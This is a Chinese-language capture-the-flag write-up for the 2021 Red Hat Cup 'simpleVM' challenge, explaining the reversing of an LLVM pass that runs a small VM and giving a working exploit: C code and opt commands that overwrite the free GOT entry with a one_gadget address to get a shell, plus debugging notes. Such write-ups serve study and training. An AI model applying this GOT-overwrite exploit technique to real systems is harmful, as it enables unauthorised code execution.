红帽杯-2021 simpleVM

[TOC]

题目分析

  • 先ctrl+g定位到.load段找到pass函数
  • 发现如果函数名为o0o0o0o0就会执行sub_6ac0处的函数
  • 此处的函数就是执行o0o0o0o0函数里的函数
  • 里面就是一个vm很简单,但是被一个地方卡了很久,这里ida翻译的有点问题,仔细看图片内容,ida翻译的让我把指针等级搞混了,然后一直觉得逻辑不对,后来看了一眼才发现是ida翻译错了

关于llvm反汇编难理解的地方的解释

  • llvm::Value::getName这个函数用来获取函数名称
  • llvm::Function::begin和llvm::Function::end都是Function类的迭代器对象,其迭代的对象是函数中的基本块。因此这个循环的意思就是对每一个基本块执行sub_6B80函数。
  • llvm::ilist_iterator<llvm::ilist_detail::node_options llvm::BasicBlock,false,false,void ,false,false>::operator*这条语句中的ilist是LLVM标准库中定义的一个数据结构,与C++标准模板库list类似,但是LLVM中都是使用ilist来存储一个函数的所有基本块或指令,可以将其看成一个列表,针对于LLVM做了一些特殊的优化。
  • llvm::Instruction::getOpcode(v36) == 55 查看源码才发现其定义保存在llvm/IR/Instruction.def文件中,上面的代码意思是指令码需要为55才能进入下一步操作,否则就会直接跳过这个指令去处理下一条指令。我们看一下llvm/IR/Instruction.def文件中哪个指令的指令码是55: HANDLE_OTHER_INST(55, Call, CallInst)
  • v35 = (llvm::CallBase *)llvm::dyn_cast llvm::CallInst,llvm::Instruction (v36); 这个函数用来获取函数名列表中的函数
  • (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 这里其实际返回的值应该是函数参数的个数+1
  • ArgOperand = llvm::CallBase::getArgOperand(v35, 0) 第二个参数表示获取第几个参数,这里就是获取0个参数
  • v31 = (llvm::ConstantInt *)llvm::dyn_cast llvm::ConstantInt,llvm::Value (ArgOperand);ZExtValue = llvm::ConstantInt::getZExtValue(v31); 把参数变成Int类型,然后进行0扩展

exp

  • clang-8 -emit-llvm -S exp.c -o exp.ll
  • ./opt-8 -load ./VMPass.so -VMPass ./exp.ll就可以拿到shell
  • 这里的思路是先获得opt的free函数的got表内容,然后加减偏移得到ogg的实际地址,然后再往opt的free的got表写入ogg的实际地址即可
// clang-8 -emit-llvm -S exp.c -o exp.ll
void add(int num, long long val);
void min(int num, long long val);
void load(int num);
void store(int num);
 
void o0o0o0o0()
{
    add(1, 0x77E100);
    load(1);
    min(2, 0x9a6d0);
    add(2, 0xe3afe);
    add(1, 0x870);
    store(1);
}

杂记

  • 这里是最初调试的时候记录的一些东西
0x7ffff3b66000

telescope 0x7ffff3b66000+0x20DFC0

b *0x4b8d60  b*0x4b8d65

llvm::FPPassManger::runOnFunction(llvm:Function&)
set args -load ./VMPass.so -VMPass ./exp.ll

 0x7ffff4e27b48 <llvm::legacy::PassManagerImpl::run(llvm::Module&)+744>    call   qword ptr [rax + 0x88]        <llvm::FPPassManager::runOnModule(llvm::Module&)>

0x7ffff4e2777e <llvm::FPPassManager::runOnModule(llvm::Module&)+46>    call   llvm::FPPassMana

0x7ffff4e2750a <llvm::FPPassManager::runOnFunction(llvm::Function&)+1002>    call   qword ptr [rax + 0x88]        <0x7ffff3b6c830>


b *(0x6B36+0x7ffff3b66000)